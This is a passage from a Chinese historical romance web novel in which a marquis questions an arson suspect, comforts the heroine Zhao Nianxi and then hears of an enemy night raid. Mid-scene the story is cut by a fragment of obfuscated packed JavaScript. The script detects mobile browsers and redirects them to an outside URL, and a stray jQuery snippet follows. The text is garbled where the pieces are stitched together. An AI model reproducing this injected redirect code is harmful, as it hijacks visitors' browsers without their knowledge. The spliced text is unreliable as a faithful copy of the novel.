来人恭敬回禀道:“李大夫前去看过,并喂他服下解药,眼下已无甚大碍了,只是人还不甚清醒,侯爷若要传他问话,恐怕得再等等。” “那就好。”夜君慎轻嗤一声,当即吩咐道,“多派几人看着他,别轻易叫他死了。” “是。” 眼见那人领命而去,赵念曦恍然抬眸,忽开口问道:“他,犯了什么事?” 夜君慎解释了王享纵火一事,又道:“他原是冲我来的,只是连累了你。” 说着,上下打量赵念曦一眼,连声追问道:“你……有没有受伤?” 赵念曦下意识后退半步,瞥一眼那人怔在半空的臂膀,抿唇不语。 夜君慎怔了怔,攥着拳背在身后。勉强挤出一抹淡笑,他道:“战事未了,边关并不太平,明日一早我派人送你回淮州,其余诸事等我稍后再做安排。” “夜深了,先去睡吧。” 赵念曦凝着眉,根本无心听他说话。 据她所知,那日带了李承孝骑马的官兵,也叫王享。 想到那样古道热肠的一个人竟是凶手不由后怕,幸而他不知李承孝身份,否则,孩子早已性命不保。 又疑惑,他为何要单独接近李承孝?若是无心还好,就怕他有所图谋。 思及此,顿觉后脊发凉。 咬了咬唇,她轻轻道:“我记得,侯爷曾说过抓到纵火之人会给我一个交代。我,有话想问他。” 夜君慎毫不犹豫点头应下,“有消息我立即遣人知会你。” 赵念曦攥着包袱凝眉思虑一瞬,到底觉得不安心。她咬着唇,连最后一丝尊严也顾不得了,“周氏等人于我有救命的恩情,请侯爷……照拂一二。” 清冷的声音带着一丝颤意与乞求,夜君慎闻言,垂眸打量一眼女子眸中含泪的倔强模样,再克制不住一把将人揽进怀中。 她,长高了,也清瘦了许多。让他差点儿没认出来。下颌抵着柔软的发顶,他喃喃道:“我会派人前去看顾。倒是你……”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14125641|147110||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 倏然抬眸,冷厉的声音带着一丝焦急与恼恨:“为何骗我?嗯?” “若我不问,你打算瞒到什么时候?” 望进那双幽深的眼眸,赵念曦陡然回神,缓缓松开掌心揉得皱巴巴的青色衣襟。 轻轻抿了抿唇,很快收回眸中泪光。再次开口时,已恢复往日冷然之态。 “夜深了, “我该走了。” 将转身,忽叫人拦住去路。 男子颀伟的身躯巍然立在身前,夜君慎低叹一声,无奈道:“你不想说,我不问便是。 “你想走,我也不阻拦你。只是夜间常有匪徒出没,不如今晚暂且歇下,明日一早我亲自送你……” 赵念曦闻言,冷嗤一声,“侯爷贵人事忙,民女微末之身可不敢肆意叨扰。” 正说着,忽见一身披亮银铠甲的将领策马过来。及至身前,他一手勒缰,而后利落地翻身下马。 待人影近了,赵念曦这才看清银盔下清俊的面容,不觉心底一惊。 来的不是旁人,正是云潇珩。 他目不斜视,朝夜君慎抱拳禀道,“侯爷,有军情。” 赵念曦瞥一眼二人,轻嗤一声毫不犹豫抬步离开。 夜君慎无奈揉一揉眉心,抬手招呼人跟上。而后看向面前之人,凝眉道:“何事?” 云潇珩躬身道:“侯爷,夏侯桀与龟兹等人勾结,欲率军夜袭,现已到了三十里外。请侯爷示下。” 夜君慎闻言,冷嗤一声,“我一无兵权,二无圣上诏令,云将军难道想陷我于不忠不义之地?!” “侯爷恕罪。”云潇珩立即单膝跪地,恳求道,“陈将军与三千将士被俘,属下们也不敢拼死反击,请侯爷指点一二。” 夜君慎冷笑,“把主帅都看丢了,你们真有本事!” 又负手道:“圣上已命本侯休养,本侯可不敢擅作主张,插手军务。云将军不如自己想一想办法。” 正说着,忽有人匆匆赶来,跪地请罪。 冷厉的眸光觑向那人,夜君慎凝眉道:“你怎么回来了?” 那人战战兢兢回道:“侯爷,人……跟丢了。” “呵!” 夜君慎气笑了,抬手指一指二人,恨恨道:“你们……真是……好得很!”